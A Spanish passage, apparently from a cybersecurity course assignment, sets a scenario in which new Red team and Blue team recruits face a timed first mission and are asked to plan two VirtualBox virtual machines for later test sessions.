reclutara el nuevo personal, por ende, los contratos son entregados sin
modificacion alguna; ante este evento la gerencia solicita tener suma
precaucion antes de firmar el contrato y acuerdos de confidencialidad
estipulados para el fin de contratacién de personal, sin embargo la
organizacion aprovecha una serie de problemas que ha identificado en
su interior y como prueba de admisién al equipo Red team y Blue team
deciden clasificar una primera mision a la cual deberian dar respuesta
en poco tiempo y trabajar bajo presion., “caracteristica” de estos
equipos. También debera proyectar la instalacién de dos mdéquinas
virtuales por medio de virtualbox para poder ejecutar las sesiones de
pruebas en las actividades posteriores.



